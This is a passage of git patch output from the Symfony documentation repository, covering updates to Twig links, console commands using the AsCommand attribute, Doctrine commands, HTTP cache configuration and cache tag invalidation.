+.. _`Twig template inheritance`: https://twig.symfony.com/doc/3.x/tags/extends.html
+.. _`Twig block tag`: https://twig.symfony.com/doc/3.x/tags/block.html
 .. _`Cross-Site Scripting`: https://en.wikipedia.org/wiki/Cross-site_scripting
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
 .. _`UX Twig Component`: https://symfony.com/bundles/ux-twig-component/current/index.html
diff --git a/templating/twig_extension.rst b/templating/twig_extension.rst
index 03fcd7a9471..fc4751dee12 100644
--- a/templating/twig_extension.rst
+++ b/templating/twig_extension.rst
@@ -170,7 +170,7 @@ If you're using the default ``services.yaml`` configuration, this will already
 work! Otherwise, :ref:`create a service <service-container-creating-service>`
 for this class and :doc:`tag your service </service_container/tags>` with ``twig.runtime``.
 
-.. _`Twig Extensions`: https://twig.symfony.com/doc/2.x/advanced.html#creating-an-extension
-.. _`default Twig filters and functions`: https://twig.symfony.com/doc/2.x/#reference
+.. _`Twig Extensions`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
+.. _`default Twig filters and functions`: https://twig.symfony.com/doc/3.x/#reference
 .. _`official Twig extensions`: https://github.com/twigphp?q=extra
-.. _`global variables`: https://twig.symfony.com/doc/2.x/advanced.html#id1
+.. _`global variables`: https://twig.symfony.com/doc/3.x/advanced.html#id1

From ad0ebaf3d2847751944f1267013cdfadf03256b3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 4 Feb 2022 10:49:16 +0100
Subject: [PATCH 1655/5766] Remove an unused link

---
 reference/forms/types/map.rst.inc | 1 -
 1 file changed, 1 deletion(-)

diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index 100a0b3f5fe..b7ff4fa05cd 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -75,6 +75,5 @@ Base Fields
 
 * :doc:`FormType </reference/forms/types/form>`
 
-.. _`Symfony UX initiative`: https://github.com/symfony/ux#readme
 .. _`CropperType`: https://github.com/symfony/ux/tree/2.x/src/Cropperjs#readme
 .. _`DropzoneType`: https://github.com/symfony/ux/tree/2.x/src/Dropzone#readme

From f857b22e1043c50e887adbbcf45470fec7f2ee10 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 4 Feb 2022 13:20:44 +0100
Subject: [PATCH 1656/5766] Minor tweaks

---
 mailer.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index acc98f8cb11..869fb3579e4 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1268,7 +1268,12 @@ The following transports only support tags:
 
 The following transports only support metadata:
 
-* Amazon SES
+* Amazon SES (note that Amazon refers to this feature as "tags", but Symfony
+  calls it "metadata" because it contains a key and a value)
+
+.. versionadded:: 6.1
+
+    Metadata support for Amazon SES was introduced in Symfony 6.1.
 
 Draft Emails
 ------------

From a1ee1dea8d88448df9a50a045d0fc72444d8968f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 4 Feb 2022 16:08:35 +0100
Subject: [PATCH 1657/5766] Improve the local server proxy troubleshooting
 section

---
 setup/symfony_server.rst | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 2c55dcc77e3..dfec58cb1b9 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -202,12 +202,16 @@ Now run this command to start the proxy:
 
     $ symfony proxy:start
 
-.. note::
-
-    Some browsers (e.g. Chrome) require to re-apply proxy settings (clicking on
-    ``Re-apply settings`` button on the ``chrome://net-internals/#proxy`` page)
-    or a full restart after starting the proxy. Otherwise, you'll see a
-    *"This webpage is not available"* error (``ERR_NAME_NOT_RESOLVED``).
+If the proxy doesn't work when serving requests as explained in the following
+sections, check these:
+
+* Some browsers (e.g. Chrome) require to re-apply proxy settings (clicking on
+  ``Re-apply settings`` button on the ``chrome://net-internals/#proxy`` page)
+  or a full restart after starting the proxy. Otherwise, you'll see a
+  *"This webpage is not available"* error (``ERR_NAME_NOT_RESOLVED``);
+* Some Operating Systems (e.g. macOS) don't apply by default the proxy settings
+  to local hosts and domains. You may need to remove ``*.local`` and/or other
+  IP addresses from that list.
 
 Defining the Local Domain
 ~~~~~~~~~~~~~~~~~~~~~~~~~

From a20ace6246eb20e0b6478c68ca8344088d1e4fd4 Mon Sep 17 00:00:00 2001
From: IamBeginnerC <98685445+IamBeginnerC@users.noreply.github.com>
Date: Tue, 1 Feb 2022 08:40:33 +0800
Subject: [PATCH 1658/5766] Update some code

---
 configuration/override_dir_structure.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 70c3b5b5d28..f51147c73d1 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -51,7 +51,7 @@ method in the ``Kernel`` class of your application::
     {
         // ...
 
-        public function getCacheDir()
+        public function getCacheDir() : string
         {
             return dirname(__DIR__).'/var/'.$this->environment.'/cache';
         }
@@ -84,7 +84,7 @@ method::
     {
         // ...
 
-        public function getLogDir()
+        public function getLogDir() : string
         {
             return dirname(__DIR__).'/var/'.$this->environment.'/log';
         }

From 35580b9b08ea54dcbbe4d933ab285ac3a346bec0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 4 Feb 2022 16:24:00 +0100
Subject: [PATCH 1659/5766] Minor tweak

---
 configuration/override_dir_structure.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index f51147c73d1..a1af58ba5db 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -51,7 +51,7 @@ method in the ``Kernel`` class of your application::
     {
         // ...
 
-        public function getCacheDir() : string
+        public function getCacheDir(): string
         {
             return dirname(__DIR__).'/var/'.$this->environment.'/cache';
         }
@@ -84,7 +84,7 @@ method::
     {
         // ...
 
-        public function getLogDir() : string
+        public function getLogDir(): string
         {
             return dirname(__DIR__).'/var/'.$this->environment.'/log';
         }

From fe518d1d678b1e02c3d9a87accf7753c965be628 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Feb 2022 08:59:14 +0100
Subject: [PATCH 1660/5766] Tweak

---
 setup/symfony_server.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index dfec58cb1b9..9dbda5f31de 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -202,8 +202,7 @@ Now run this command to start the proxy:
 
     $ symfony proxy:start
 
-If the proxy doesn't work when serving requests as explained in the following
-sections, check these:
+If the proxy doesn't work as explained in the following sections, check these:
 
 * Some browsers (e.g. Chrome) require to re-apply proxy settings (clicking on
   ``Re-apply settings`` button on the ``chrome://net-internals/#proxy`` page)

From 5b6abf0219422d3374d39b5a95d2b13ef39200d9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Michael=20K=C3=A4fer?= <michael.kaefer1@gmx.at>
Date: Mon, 7 Feb 2022 11:41:04 +0100
Subject: [PATCH 1661/5766] Sync generated values docs for: UUIDs and ULIDs

---
 components/uid.rst | 23 +++++++++--------------
 1 file changed, 9 insertions(+), 14 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 1e44c6e308f..5f07b8d4dcd 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -166,29 +166,26 @@ type, which converts to/from UUID objects automatically::
 
     The UUID type was introduced in Symfony 5.2.
 
-There is no generator to assign UUIDs automatically as the value of your entity
-primary keys, but you can use the following::
+There's also a Doctrine generator to help auto-generate UUID values for the
+entity primary keys::
 
     namespace App\Entity;
 
     use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Bridge\Doctrine\IdGenerator\UuidGenerator;
     use Symfony\Component\Uid\Uuid;
-    // ...
 
     class User implements UserInterface
     {
         /**
          * @ORM\Id
          * @ORM\Column(type="uuid", unique=true)
+         * @ORM\GeneratedValue(strategy="CUSTOM")
+         * @ORM\CustomIdGenerator(class=UuidGenerator::class)
          */
         private $id;
 
-        public function __construct()
-        {
-            $this->id = Uuid::v4();
-        }
-
-        public function getId(): Uuid
+        public function getId(): ?Uuid
         {
             return $this->id;
         }
@@ -345,12 +342,12 @@ type, which converts to/from ULID objects automatically::
 There's also a Doctrine generator to help auto-generate ULID values for the
 entity primary keys::
 
+    namespace App\Entity;
+
+    use Doctrine\ORM\Mapping as ORM;
     use Symfony\Bridge\Doctrine\IdGenerator\UlidGenerator;
     use Symfony\Component\Uid\Ulid;
 
-    /**
-     * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
-     */
     class Product
     {
         /**
@@ -361,8 +358,6 @@ entity primary keys::
          */
         private $id;
 
-        // ...
-
         public function getId(): ?Ulid
         {
             return $this->id;

From 246787677602f9373f5b475edbac6be5af7d9dcf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Feb 2022 09:23:08 +0100
Subject: [PATCH 1662/5766] [Console] Use AsCommand attribute in all commands

---
 components/console/changing_default_command.rst |  4 ++--
 components/console/console_arguments.rst        |  5 ++---
 components/console/logger.rst                   | 16 +++++-----------
 console.rst                                     |  4 +++-
 console/commands_as_services.rst                | 12 ++++++++----
 console/hide_commands.rst                       | 16 +++++-----------
 6 files changed, 25 insertions(+), 32 deletions(-)

diff --git a/components/console/changing_default_command.rst b/components/console/changing_default_command.rst
index 6eb9f2b5227..6a2fe877478 100644
--- a/components/console/changing_default_command.rst
+++ b/components/console/changing_default_command.rst
@@ -10,14 +10,14 @@ name to the ``setDefaultCommand()`` method::
 
     namespace Acme\Console\Command;
 
+    use Symfony\Component\Console\Attribute\AsCommand;
     use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
 
+    #[AsCommand(name: 'hello:world')]
     class HelloWorldCommand extends Command
     {
-        protected static $defaultName = 'hello:world';
-
         protected function configure()
         {
             $this->setDescription('Outputs "Hello World"');
diff --git a/components/console/console_arguments.rst b/components/console/console_arguments.rst
index 79f5c6c1f4c..5b641c26774 100644
--- a/components/console/console_arguments.rst
+++ b/components/console/console_arguments.rst
@@ -14,6 +14,7 @@ Have a look at the following command that has three options::
 
     namespace Acme\Console\Command;
 
+    use Symfony\Component\Console\Attribute\AsCommand;
     use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\Input\InputArgument;
     use Symfony\Component\Console\Input\InputDefinition;
@@ -21,14 +22,12 @@ Have a look at the following command that has three options::
     use Symfony\Component\Console\Input\InputOption;
     use Symfony\Component\Console\Output\OutputInterface;
 
+    #[AsCommand(name: 'demo:args', description: 'Describe args behaviors')]
     class DemoArgsCommand extends Command
     {
-        protected static $defaultName = 'demo:args';
-
         protected function configure()
         {
             $this
-                ->setDescription('Describe args behaviors')
                 ->setDefinition(
                     new InputDefinition([
                         new InputOption('foo', 'f'),
diff --git a/components/console/logger.rst b/components/console/logger.rst
index 8f029e47002..25fce56d7d9 100644
--- a/components/console/logger.rst
+++ b/components/console/logger.rst
@@ -37,24 +37,18 @@ You can rely on the logger to use this dependency inside a command::
     namespace Acme\Console\Command;
 
     use Acme\MyDependency;
+    use Symfony\Component\Console\Attribute\AsCommand;
     use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Logger\ConsoleLogger;
     use Symfony\Component\Console\Output\OutputInterface;
 
+    #[AsCommand(
+        name: 'my:command',
+        description: 'Use an external dependency requiring a PSR-3 logger'
+    )]
     class MyCommand extends Command
     {
-        protected static $defaultName = 'my:command';
-
-        protected function configure()
-        {
-            $this
-                ->setDescription(
-                    'Use an external dependency requiring a PSR-3 logger'
-                )
-            ;
-        }
-
         protected function execute(InputInterface $input, OutputInterface $output)
         {
             $logger = new ConsoleLogger($output);
diff --git a/console.rst b/console.rst
index fdf668a375d..a7fe52108b1 100644
--- a/console.rst
+++ b/console.rst
@@ -29,13 +29,15 @@ want a command to create a user::
     // src/Command/CreateUserCommand.php
     namespace App\Command;
 
+    use Symfony\Component\Console\Attribute\AsCommand;
     use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
 
+    // the name of the command is what users type after "php bin/console"
+    #[AsCommand(name: 'app:create-user')]
     class CreateUserCommand extends Command
     {
-        // the name of the command (the part after "bin/console")
         protected static $defaultName = 'app:create-user';
 
         protected function configure(): void
diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index 6323f21ac50..d279c762ec6 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -18,13 +18,14 @@ For example, suppose you want to log something from within your command::
     namespace App\Command;
 
     use Psr\Log\LoggerInterface;
+    use Symfony\Component\Console\Attribute\AsCommand;
     use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
 
+    #[AsCommand(name: 'app:sunshine')]
     class SunshineCommand extends Command
     {
-        protected static $defaultName = 'app:sunshine';
         private $logger;
 
         public function __construct(LoggerInterface $logger)
@@ -68,12 +69,15 @@ command and start logging.
 Lazy Loading
 ------------
 
-To make your command lazily loaded, either define its ``$defaultName`` static property::
+To make your command lazily loaded, either define its name using the PHP
+``AsCommand`` attribute::
 
+    use Symfony\Component\Console\Attribute\AsCommand;
+    // ...
+
+    #[AsCommand(name: 'app:sunshine')]
     class SunshineCommand extends Command
     {
-        protected static $defaultName = 'app:sunshine';
-
         // ...
     }
 
diff --git a/console/hide_commands.rst b/console/hide_commands.rst
index 2f9d2819873..44a69d09289 100644
--- a/console/hide_commands.rst
+++ b/console/hide_commands.rst
@@ -8,25 +8,19 @@ However, sometimes commands are not intended to be run by end-users; for
 example, commands for the legacy parts of the application, commands exclusively
 run through scheduled tasks, etc.
 
-In those cases, you can define the command as **hidden** by setting the
-``setHidden()`` method to ``true`` in the command configuration::
+In those cases, you can define the command as **hidden** by setting to ``true``
+the ``hidden`` property of the ``AsCommand`` attribute::
 
     // src/Command/LegacyCommand.php
     namespace App\Command;
 
+    use Symfony\Component\Console\Attribute\AsCommand;
     use Symfony\Component\Console\Command\Command;
 
+    #[AsCommand(name: 'app:legacy', hidden: true)]
     class LegacyCommand extends Command
     {
-        protected static $defaultName = 'app:legacy';
-
-        protected function configure(): void
-        {
-            $this
-                ->setHidden(true)
-                // ...
-            ;
-        }
+        // ...
     }
 
 Hidden commands behave the same as normal commands but they are no longer displayed

From 7a842f1f9359dac67c62e9513e2b315e303e7294 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 28 Dec 2021 11:17:07 +0100
Subject: [PATCH 1663/5766] [Console] Document AsCommand attribute

---
 console.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/console.rst b/console.rst
index 042554fe006..9215f07d7c6 100644
--- a/console.rst
+++ b/console.rst
@@ -151,6 +151,30 @@ with the ``console.command`` tag. If you're using the
 :ref:`default services.yaml configuration <service-container-services-load-example>`,
 this is already done for you, thanks to :ref:`autoconfiguration <services-autoconfigure>`.
 
+On PHP 8, you can use native attribute ``AsCommand`` to configure::
+
+    // src/Command/CreateUserCommand.php
+    namespace App\Command;
+
+    use Symfony\Component\Console\Attribute\AsCommand;
+    use Symfony\Component\Console\Command\Command;
+
+    #[AsCommand(
+        name: 'app:create-user',
+        description: 'Creates a new user.',
+        hidden: false,
+        aliases: ['app:add-user']
+    )]
+    class CreateUserCommand extends Command
+    {
+        // ...
+    }
+
+.. versionadded:: 5.3
+
+    The ability to use PHP attributes to configure commands was introduced in
+    Symfony 5.3.
+
 Executing the Command
 ---------------------
 

From 85322e3f14dfb73ad6f197e885999f0df63fc99f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Feb 2022 09:27:50 +0100
Subject: [PATCH 1664/5766] Tweaks

---
 console.rst | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/console.rst b/console.rst
index 0c150298859..9de02a4b882 100644
--- a/console.rst
+++ b/console.rst
@@ -146,12 +146,8 @@ available in the ``configure()`` method::
 Registering the Command
 -----------------------
 
-Symfony commands must be registered as services and :doc:`tagged </service_container/tags>`
-with the ``console.command`` tag. If you're using the
-:ref:`default services.yaml configuration <service-container-services-load-example>`,
-this is already done for you, thanks to :ref:`autoconfiguration <services-autoconfigure>`.
-
-On PHP 8, you can use native attribute ``AsCommand`` to configure::
+In PHP 8 and newer versions, you can register the command by adding the
+``AsCommand`` attribute to it::
 
     // src/Command/CreateUserCommand.php
     namespace App\Command;
@@ -175,6 +171,11 @@ On PHP 8, you can use native attribute ``AsCommand`` to configure::
     The ability to use PHP attributes to configure commands was introduced in
     Symfony 5.3.
 
+If you can't use PHP attributes, register the command as a service and
+:doc:`tag it </service_container/tags>` with the ``console.command`` tag. If you're using the
+:ref:`default services.yaml configuration <service-container-services-load-example>`,
+this is already done for you, thanks to :ref:`autoconfiguration <services-autoconfigure>`.
+
 Executing the Command
 ---------------------
 

From ef97649c397256232a6d489d086a1a5318e49b73 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Feb 2022 09:28:15 +0100
Subject: [PATCH 1665/5766] Remove versionadded directive

---
 console.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/console.rst b/console.rst
index f65228b744f..ec66a73d028 100644
--- a/console.rst
+++ b/console.rst
@@ -152,11 +152,6 @@ In PHP 8 and newer versions, you can register the command by adding the
         // ...
     }
 
-.. versionadded:: 5.3
-
-    The ability to use PHP attributes to configure commands was introduced in
-    Symfony 5.3.
-
 If you can't use PHP attributes, register the command as a service and
 :doc:`tag it </service_container/tags>` with the ``console.command`` tag. If you're using the
 :ref:`default services.yaml configuration <service-container-services-load-example>`,

From 1ec427ad3fb796398b7ee908510aed09b1fccf22 Mon Sep 17 00:00:00 2001
From: Steve <steve.clifton@outlook.com>
Date: Wed, 26 Jan 2022 21:24:10 +1300
Subject: [PATCH 1666/5766] Update doctrine.rst

Update deprecated command to new Doctrine 2.2 syntax
```
User Deprecated: Since doctrine/doctrine-bundle 2.2: The "Doctrine\Bundle\DoctrineBundle\Command\Proxy\RunSqlDoctrineCommand" (doctrine:query:sql) is deprecated, use dbal:run-sql command instead.
```
---
 doctrine.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 911c2951f69..e0376774b25 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -397,10 +397,10 @@ you can query the database directly:
 
 .. code-block:: terminal
 
-    $ php bin/console doctrine:query:sql 'SELECT * FROM product'
+    $ php bin/console dbal:run-sql 'SELECT * FROM product'
 
     # on Windows systems not using Powershell, run this command instead:
-    # php bin/console doctrine:query:sql "SELECT * FROM product"
+    # php bin/console dbal:run-sql "SELECT * FROM product"
 
 Take a look at the previous example in more detail:
 

From 61a855b01482b6317ac6aa3db7efaf471863a203 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Sun, 16 Jan 2022 15:26:16 +0100
Subject: [PATCH 1667/5766] Update section about http cache

---
 http_cache.rst                        | 82 ++++++----------------
 reference/configuration/framework.rst | 97 ++++++++++++++++++++++++++-
 2 files changed, 115 insertions(+), 64 deletions(-)

diff --git a/http_cache.rst b/http_cache.rst
index 51d42a5cf71..57750e4b9c8 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -77,79 +77,35 @@ but it is a great way to start.
 
     For details on setting up Varnish, see :doc:`/http_cache/varnish`.
 
-To enable the proxy, first create a caching kernel::
+To enable the proxy for the ``prod`` env, enable the ``framework.http_cache`` setting:
 
-    // src/CacheKernel.php
-    namespace App;
+.. configuration-block::
 
-    use Symfony\Bundle\FrameworkBundle\HttpCache\HttpCache;
+    .. code-block:: yaml
 
-    class CacheKernel extends HttpCache
-    {
-    }
-
-Modify the code of your front controller to wrap the default kernel into the
-caching kernel:
+        # config/packages/framework.yaml
+        when@prod:
+            framework:
+                http_cache: true
 
-.. code-block:: diff
+    .. code-block:: php
 
-      // public/index.php
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
 
-    + use App\CacheKernel;
-      use App\Kernel;
-
-    // ...
-    $kernel = new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
-    + // Wrap the default Kernel with the CacheKernel one in 'prod' environment
-    + if ('prod' === $kernel->getEnvironment()) {
-    +     return new CacheKernel($kernel);
-    + }
-    return $kernel;
+        return static function (FrameworkConfig $framework) use ($env) {
+            if ('prod' === $env) {
+                $framework->httpCache()->enabled(true);
+            }
+        };
 
-
-The caching kernel will immediately act as a reverse proxy: caching responses
+The kernel will immediately act as a reverse proxy: caching responses
 from your application and returning them to the client.
 
-.. caution::
-
-    If you're using the :ref:`framework.http_method_override <configuration-framework-http_method_override>`
-    option to read the HTTP method from a ``_method`` parameter, see the
-    above link for a tweak you need to make.
-
-.. tip::
-
-    The cache kernel has a special ``getLog()`` method that returns a string
-    representation of what happened in the cache layer. In the development
-    environment, use it to debug and validate your cache strategy::
-
-        error_log($kernel->getLog());
-
-The ``CacheKernel`` object has a sensible default configuration, but it can be
-finely tuned via a set of options you can set by overriding the
-:method:`Symfony\\Bundle\\FrameworkBundle\\HttpCache\\HttpCache::getOptions`
-method::
-
-    // src/CacheKernel.php
-    namespace App;
-
-    use Symfony\Bundle\FrameworkBundle\HttpCache\HttpCache;
-
-    class CacheKernel extends HttpCache
-    {
-        protected function getOptions(): array
-        {
-            return [
-                'default_ttl' => 0,
-                // ...
-            ];
-        }
-    }
-
-For a full list of the options and their meaning, see the
-:method:`HttpCache::__construct() documentation <Symfony\\Component\\HttpKernel\\HttpCache\\HttpCache::__construct>`.
+The proxy has a sensible default configuration, but it can be
+finely tuned via `a set of options<configuration-framework-http_cache>`.
 
-When you're in debug mode (the second argument of ``Kernel`` constructor in the
-front controller is ``true``), Symfony automatically adds an ``X-Symfony-Cache``
+When in debug mode, Symfony automatically adds an ``X-Symfony-Cache``
 header to the response. You can also use the ``trace_level`` config
 option and set it to either ``none``, ``short`` or ``full`` to
 add this information.
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 434952b7da6..b3e72757128 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -53,7 +53,102 @@ will invalidate all signed URIs and Remember Me cookies. That's why, after
 changing this value, you should regenerate the application cache and log
 out all the application users.
 
-.. _configuration-framework-http_method_override:
+.. _configuration-framework-http_cache:
+
+http_cache
+~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    The ``http_cache`` option was introduced in Symfony 5.2.
+
+enabled
+.......
+
+**type**: ``boolean`` **default**: ``false``
+
+debug
+.....
+
+**type**: ``boolean`` **default**: ``%kernel.debug%``
+
+If true, exceptions are thrown when things go wrong. Otherwise, the cache will
+try to carry on and deliver a meaningful response.
+
+trace_level
+...........
+
+**type**: ``string`` **possible values**: ``'none'``, ``'short'`` or ``'full'``
+
+For 'short', a concise trace of the main request will be added as an HTTP header.
+'full' will add traces for all requests (including ESI subrequests).
+(default: 'full' if in debug; 'none' otherwise)
+
+trace_header
+............
+
+**type**: ``string``
+
+Header name to use for traces. (default: X-Symfony-Cache)
+
+default_ttl
+...........
+
+**type**: ``integer``
+
+The number of seconds that a cache entry should be considered fresh when no
+explicit freshness information is provided in a response. Explicit
+Cache-Control or Expires headers override this value. (default: 0)
+
+private_headers
+...............
+
+**type**: ``array``
+
+Set of request headers that trigger "private" cache-control behavior on responses
+that don't explicitly state whether the response is public or private via a
+Cache-Control directive. (default: Authorization and Cookie)
+
+allow_reload
+............
+
+**type**: ``string``
+
+Specifies whether the client can force a cache reload by including a
+Cache-Control "no-cache" directive in the request. Set it to ``true``
+for compliance with RFC 2616. (default: false)
+
+allow_revalidate
+................
+
+**type**: ``string``
+
+Specifies whether the client can force a cache revalidate by including a
+Cache-Control "max-age=0" directive in the request. Set it to ``true``
+for compliance with RFC 2616. (default: false)
+
+stale_while_revalidate
+......................
+
+**type**: ``integer``
+
+Specifies the default number of seconds (the granularity is the second as the
+Response TTL precision is a second) during which the cache can immediately return
+a stale response while it revalidates it in the background (default: 2).
+This setting is overridden by the stale-while-revalidate HTTP Cache-Control
+extension (see RFC 5861).
+
+stale_if_error
+..............
+
+**type**: ``integer``
+
+Specifies the default number of seconds (the granularity is the second) during
+which the cache can serve a stale response when an error is encountered
+(default: 60). This setting is overridden by the stale-if-error HTTP
+Cache-Control extension (see RFC 5861).
+
+ .. _configuration-framework-http_method_override:
 
 http_method_override
 ~~~~~~~~~~~~~~~~~~~~

From 8e24122b289f6a816acdef854bdb0ee98b2c3c68 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Feb 2022 17:36:06 +0100
Subject: [PATCH 1668/5766] Tweaks

---
 http_cache.rst | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/http_cache.rst b/http_cache.rst
index 57750e4b9c8..ba58e38bee7 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -77,7 +77,8 @@ but it is a great way to start.
 
     For details on setting up Varnish, see :doc:`/http_cache/varnish`.
 
-To enable the proxy for the ``prod`` env, enable the ``framework.http_cache`` setting:
+Use the ``framework.http_cache`` option to enable the proxy for the
+:ref:`prod environment <configuration-environments>`:
 
 .. configuration-block::
 
@@ -103,12 +104,12 @@ The kernel will immediately act as a reverse proxy: caching responses
 from your application and returning them to the client.
 
 The proxy has a sensible default configuration, but it can be
-finely tuned via `a set of options<configuration-framework-http_cache>`.
+finely tuned via `a set of options <configuration-framework-http_cache>`.
 
-When in debug mode, Symfony automatically adds an ``X-Symfony-Cache``
-header to the response. You can also use the ``trace_level`` config
-option and set it to either ``none``, ``short`` or ``full`` to
-add this information.
+When in :ref:`debug mode <debug-mode>`, Symfony automatically adds an
+``X-Symfony-Cache`` header to the response. You can also use the ``trace_level``
+config option and set it to either ``none``, ``short`` or ``full`` to add this
+information.
 
 ``short`` will add the information for the main request only.
 It's written in a concise way that makes it easy to record the

From af41b73cf39a71d4b9e022e961f3856a162dff30 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Feb 2022 17:36:57 +0100
Subject: [PATCH 1669/5766] Remove a versionadded directive

---
 reference/configuration/framework.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index c6daf914edf..d9199fed06c 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -58,10 +58,6 @@ out all the application users.
 http_cache
 ~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The ``http_cache`` option was introduced in Symfony 5.2.
-
 enabled
 .......
 

From 319e5a2aed59804d764daabb86e740cb5e708543 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Thu, 10 Feb 2022 09:46:30 -0500
Subject: [PATCH 1670/5766] [Cache] document `cache:pool:invalidate-tags`
 command

---
 cache.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/cache.rst b/cache.rst
index eb734db5859..cecb4dbe654 100644
--- a/cache.rst
+++ b/cache.rst
@@ -706,6 +706,26 @@ Clear all caches everywhere:
 
     $ php bin/console cache:pool:clear cache.global_clearer
 
+Clear cache by tag(s):
+
+.. versionadded:: 6.1
+
+    The ``cache:pool:invalidate-tags`` command was added in Symfony 6.1.
+
+.. code-block:: terminal
+
+    # invalidate tag1 from all taggable pools
+    $ php bin/console cache:pool:invalidate-tags tag1
+
+    # invalidate tag1 & tag2 from all taggable pools
+    $ php bin/console cache:pool:invalidate-tags tag1 tag2
+
+    # invalidate tag1 & tag2 from cache.app pool
+    $ php bin/console cache:pool:invalidate-tags tag1 tag2 --pool=cache.app
+
+    # invalidate tag1 & tag2 from cache1 & cache2 pools
+    $ php bin/console cache:pool:invalidate-tags tag1 tag2 -p cache1 -p cache2
+
 Encrypting the Cache
 --------------------
 

From 10ad5ac55b6291ed727ecb43a91c58d8168083fd Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 10 Feb 2022 22:08:48 +0100
Subject: [PATCH 1671/5766] Fix: Remove space

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 798dad06636..8fb3ccd8c86 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -546,8 +546,8 @@ different messages to them. For example:
                             queue_name: low
 
                 routing:
-                    'App\Message\SmsNotification':  async_priority_low
-                    'App\Message\NewUserWelcomeEmail':  async_priority_high
+                    'App\Message\SmsNotification': async_priority_low
+                    'App\Message\NewUserWelcomeEmail': async_priority_high
 
     .. code-block:: xml
 

From 91872e4133b522ac5a7f9e600f08063f325500ad Mon Sep 17 00:00:00 2001
From: Pierre Joube <pierre.joube@gmail.com>
Date: Fri, 11 Feb 2022 16:42:52 +0100
Subject: [PATCH 1672/5766] Update uid.rst

Reference https://github.com/symfony/symfony/issues/44938#issuecomment-1007229881
---
 components/uid.rst | 6 ++----
